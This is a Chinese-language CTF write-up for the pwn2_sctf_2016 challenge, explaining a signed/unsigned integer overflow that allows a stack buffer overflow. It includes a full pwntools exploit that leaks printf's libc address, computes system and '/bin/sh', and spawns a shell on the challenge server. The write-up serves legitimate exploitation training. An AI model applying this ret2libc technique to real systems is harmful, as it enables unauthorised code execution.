pwn2_sctf_2016[整數溢位+泄露libc]
題目附件
步驟:
例行檢查,32位,開啟了nx保護

試運行一下程式,看看大概的執行情況

32位ida載入,shift+f12檢索程式里的字串,沒有看到現成的system和‘/bin/sh’,加上開啟了NX保護,估計是泄露libc型別的題目
從main函式開始看程式,main函式就呼叫了一個vuln函式

注意第7行的輸入函式不是get,是程式自定義的函式get_n,
接受a2個長度的字串并放到vuln函式的緩沖區內部,但是a2傳入的值型別是unsigned int,而前面判斷長度的型別是int,可以規避長度限制,也就是說我們這邊可以輸入負數來達到溢位的效果(整數溢位)

利用思路:
- 一開始輸入負數,繞過長度限制,造成溢位
- 利用printf函式泄露程式的libc版本,去算出system和‘/bin/sh‘的地址
- 溢位覆寫回傳地址去執行system(‘/bin/sh’)
利用程序:
- 造成整數溢位
在get_n函式中,讀入長度被強制轉換為unsigned int,此時-1變成了4294967295,使得我們能夠進行緩沖區溢位攻擊
r.recvuntil('How many bytes do you want me to read? ')
r.sendline('-1')
- 泄露libc
r.recvuntil('How many bytes do you want me to read? ')
r.sendline('-1')
r.recvuntil('\n')
payload='a'*(0x2c+4)+p32(printf_plt)+p32(main)+p32(printf_got)
r.sendline(payload)
r.recvuntil('\n')
printf_addr=u32(r.recv(4))
libc=LibcSearcher('printf',printf_addr)
- 計算system和bin/sh的地址
offset=printf_addr-libc.dump('printf')
system=offset+libc.dump('system')
bin_sh=offset+libc.dump('str_bin_sh')
- 覆寫回傳地址為system(‘/bin/sh’)
r.recvuntil('How many bytes do you want me to read? ')
r.sendline('-1')
r.recvuntil('\n')
payload='a'*(0x2c+4)+p32(system)+p32(main)+p32(bin_sh)
r.sendline(payload)
完整EXP:
from pwn import *
from LibcSearcher import *
r=remote('node3.buuoj.cn',29806)
elf=ELF('./pwn2_sctf_2016')
printf_plt=elf.plt['printf']
printf_got=elf.got['printf']
main=elf.sym['main']
r.recvuntil('How many bytes do you want me to read? ')
r.sendline('-1')
r.recvuntil('\n')
payload='a'*(0x2c+4)+p32(printf_plt)+p32(main)+p32(printf_got)
r.sendline(payload)
r.recvuntil('\n')
printf_addr=u32(r.recv(4))
libc=LibcSearcher('printf',printf_addr)
offset=printf_addr-libc.dump('printf')
system=offset+libc.dump('system')
bin_sh=offset+libc.dump('str_bin_sh')
r.recvuntil('How many bytes do you want me to read? ')
r.sendline('-1')
r.recvuntil('\n')
payload='a'*(0x2c+4)+p32(system)+p32(main)+p32(bin_sh)
r.sendline(payload)
r.interactive()
有多個匹配的libc版本,這邊選13


轉載請註明出處,本文鏈接:https://www.uj5u.com/shujuku/160271.html
標籤:其他
上一篇:一周肝出Linux之遠程服務詳解(ssh遠程登錄、scp遠程復制、sftp安全下載、TCP Wrappers訪問控制)
